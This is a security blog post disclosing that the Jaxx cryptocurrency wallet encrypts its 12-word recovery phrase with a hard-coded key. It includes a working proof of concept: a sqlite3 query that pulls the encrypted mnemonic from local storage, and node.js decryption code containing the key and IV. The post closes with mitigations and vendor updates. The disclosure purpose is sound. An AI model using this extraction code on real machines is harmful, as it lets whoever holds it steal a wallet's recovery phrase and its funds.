Extracting the Jaxx 12-word wallet backup phrase.
I was curious how easy it would be to extract the 12-word wallet backup phrase from a Jaxx cryptocurrency wallet desktop app / chrome extension install.
After an hour or two of analysis, I can conclude that this is unfortunately far too easy.
jaxx-eth-screenie.png
Jaxx Chrome extension Eth UI. Throw-away address, don’t use.
Even when your Jaxx has a security PIN configured, anyone with 20 seconds of (network) access to your PC can extract your 12 word backup phrase and copy it down. Jaxx does not have to be running for this to happen.
With the 12 word backup phrase, they can later restore your wallet, including all of your private keys, on their own computers, and then proceed to transfer away all of your cryptocurrency.
The main problem is that the Jaxx software encrypts the mnemonic using a hard-coded encryption key, instead of making use of a strong user-supplied password. (As Daira Hopwood points out in the comments, using the PIN would not be sufficient.)
This means we can easily read and decrypt the full recovery phrase from local storage using sqlite3 and some straight-forward code.
I successfully tested this vulnerability on the Jaxx Chrome extension v1.2.17 and the Jaxx Linux desktop app 1.2.13.
Demonstration
To test this proof of concept, you will need node.js installed. Ensure that your Jaxx is PIN protected, just for fun. It won’t help.
On Linux or Mac, open the Jaxx local storage file at $HOME/.config/Jaxx/Local\ Storage/file__0.localstorage (on Mac this is /Users/[username]/Library/Application Support/Jaxx/Local Storage/file__0.localstorage, thanks to Manuel in the comments; on Windows this is C:\Users<Your Computer's User Name>\AppData\Roaming\Jaxx\Local Storage) using the sqlite3 tool.
At the sqlite3 prompt, do the following:
sqlite> select value from ItemTable where key="mnemonic";
ofvoUNhkw+zBN+nvxd1GoL/u1Stn1hyXChD9JvCVkNZgpp19mWY595fbiFjjRPNbw5xxNtzAJGUchr3mImHCsLqSx7aQxcCbo+VrqxBJ5+4=
Note the returned value down. This is Jaxx’s encrypted mnemonic which we shall decrypt into your 12 word backup phrase.
(If the returned string is too short in your case, try sqlitebrowser instead. In my case, sqlite3 works perfectly for the desktop Jaxx, but not the Chrome Jaxx, where I use either the chrome Dev Tools or sqlitebrowser to extract the string.)
Install crypto-js version 3.1.2 by doing either npm install crypto-js@3.1.2 or yarn add crypto-js@3.1.2, and then run the following code using node, after substituting the mnemonicEncrypted variable value with the one you extracted using sqlite3:
// Jaxx recovery phrase extraction by cpbotha@vxlabs.com 2017
// https://vxlabs.com/2017/06/10/extracting-the-jaxx-12-word-wallet-backup-phrase/
// you need v3.1.2 (same as latest jaxx) else you'll get invalid UTF-8 error
var CryptoJS = require('crypto-js');
var _key = "6Le0DgMTAAAAANokdfEial"; //length=22
var _iv = "mHGFxENnZLbienLyALoi.e"; //length=22
var mnemonicEncrypted="ofvoUNhkw+zBN+nvxd1GoL/u1Stn1hyXChD9JvCVkNZgpp19mWY595fbiFjjRPNbw5xxNtzAJGUchr3mImHCsLqSx7aQxcCbo+VrqxBJ5+4=";
var _keyB;
var _ivB;
// js/vault/vault.js
function decryptSimple(encryptedTxt) {
// not sure why jaxx does this inside the function
_keyB = CryptoJS.enc.Base64.parse(_key);
_ivB = CryptoJS.enc.Base64.parse(_iv);
var decrypted = CryptoJS.AES.decrypt(encryptedTxt, _keyB, { iv: _ivB });
var decryptedText = decrypted.toString(CryptoJS.enc.Utf8);
return decryptedText;
}
console.log(decryptSimple(mnemonicEncrypted));
This should print out your 12 word backup phrase, in the case of this dummy setup I’m seeing “snake purity emerge blue subway lab loyal timber depth leg federal work” which is indeed correct.
How can we fix this?
The thing is, Jaxx is unfortunately one of the better cross-platform multi-currency wallets. Although it has a great UI, I personally don’t like Exodus, because they don’t let me manage more than one Ethereum address.
To mitigate the Jaxx security issue discussed here, keep the Jaxx desktop app’s local storage directory on an encrypted filesystem which you only mount when you’re using Jaxx, and unmount directly afterwards. This is what I’m currently doing using encfs.
If you prefer using the Chrome extension, you can try symlinking just the extension’s local storage file as it lives in Chrome’s global Local Storage directory.
Importantly, keep on encouraging Jaxx support to add support for using a strong user-supplied password as part of the encryption key (just like Exodus) with which they encrypt your mnemonic (recovery phrase) and all other sensitive values in local storage. Refer them to this post for more details. (See Daira Hopwood’s comment, using the PIN for encryption is not sufficient.)
UPDATE 2017-06-10 20:19 UTC: Based on this response by the Jaxx CTO on reddit, they are not planning to fix this vulnerability. If that is the case, I strongly recommend that you avoid the Jaxx wallet.
UPDATE 2017-06-11 10:08 UTC: Daira Hopwood correctly points out in the comments that encrypting using the PIN would be too easily brute-forced. I have updated the post in two places to indicate that instead Jaxx does in fact need to implement support for a strong password. One can discuss whether to do this differently for the desktop (no sandboxing) than for mobile devices (usually good sandboxing).